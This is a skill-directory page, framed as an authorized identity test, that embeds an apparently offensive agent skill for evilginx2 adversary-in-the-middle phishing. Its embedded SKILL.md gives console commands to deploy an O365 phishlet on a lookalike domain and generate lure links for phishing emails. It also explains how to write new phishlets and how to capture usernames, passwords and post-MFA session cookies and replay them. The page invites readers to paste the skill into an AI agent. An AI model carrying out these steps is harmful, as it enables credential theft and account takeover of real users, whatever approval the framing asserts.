evilginx2-proxy
What it does
This guide covers an authorized test where a login page is proxied so the security team can see whether session tokens after multi-factor sign-in can be taken. It is for identity teams testing their own sign-in protections under written approval.
When to use it
- ✓When an authorized test needs to check whether session cookies can be stolen even when multi-factor sign-in is used.
- ✓When an identity team wants to confirm that session tokens are bound to the device or expire quickly.
- ✓When the blue team has been notified and the test window is approved.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“We are testing whether our sign-in protects session cookies after multi-factor login. Can you help plan the authorized proxy test?”
5 new skills a week. 1 minute to read.
How it works
The agent sets up a proxy for the test login page, records whether session tokens appear after sign-in, and reports which protections did or did not limit reuse.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
evilginx2 Phishlet (AiTM)
When the target enforces MFA, a static fake login page is useless — you need the authenticated session cookie. evilginx2 is an adversary-in-the-middle reverse proxy: the victim authenticates against the real site through your proxy, MFA included, and you capture the resulting session token for replay.
Prerequisites
- evilginx2 in the sandbox; ports 443/53 free.
- A lookalike domain with an A record to the sandbox and NS delegation
so evilginx2 can answer ACME (
lookalike-domain). - The
lure-deconflictionhandshake COMPLETE.
Deploy
# DNS + cert: evilginx manages Let's Encrypt automatically
evilginx2 -p /opt/evilginx/phishlets
# in the evilginx console:
config domain login.acme-portal.example
config ipv4 <sandbox-ip>
phishlets hostname o365 login.acme-portal.example
phishlets enable o365
lures create o365
lures get-url 0 # -> the link you put in the GoPhish email
Authoring a phishlet (when none ships for the target)
A phishlet is a YAML map of the target's auth hosts, the sub_filters
that rewrite the real domain to yours in responses, and the
auth_tokens (which cookies signal a completed login). Capture a
normal login in a proxy, identify the session cookie(s) the app sets
post-MFA, and list them under auth_tokens. Keep ACME challenge paths
off the proxied auth path.
Capture + replay
# evilginx console: list captured sessions
sessions
sessions <id> # shows username, password, and the tokens (cookie JSON)
Import the captured cookie JSON into a clean browser profile / a
Cookie header to ride the authenticated session without
re-triggering MFA.
Evidence
Captured session → Credential node (type session-token) linked to
the User node with the lure id. Save the session JSON under
evidence/phisher/<id>-session.json. Note the estimated token TTL.
OPSEC
- One phishlet per engagement domain; rotate after the engagement.
- The session token is the crown jewel — store ONLY in
evidence/+ the knowledge graph, never anywhere off-box. evilginx_disable_phishlet(phishlets disable o365) returns 502 on a SOC stop request.
FAQ
Why is multi-factor not always enough?
The guide says a session cookie issued after sign-in can still be reused unless it is bound or expires.
What should the defenders check?
Token lifetime, device binding and alerts for sessions reused from new locations.
Does the test need approval?
Yes. The guide requires a completed authorization and defender notice before the test runs.
Details
Original description by the author
Author and deploy an evilginx2 phishlet to reverse-proxy a real login and capture the post-authentication session cookie, defeating MFA via session-token theft.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14115
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.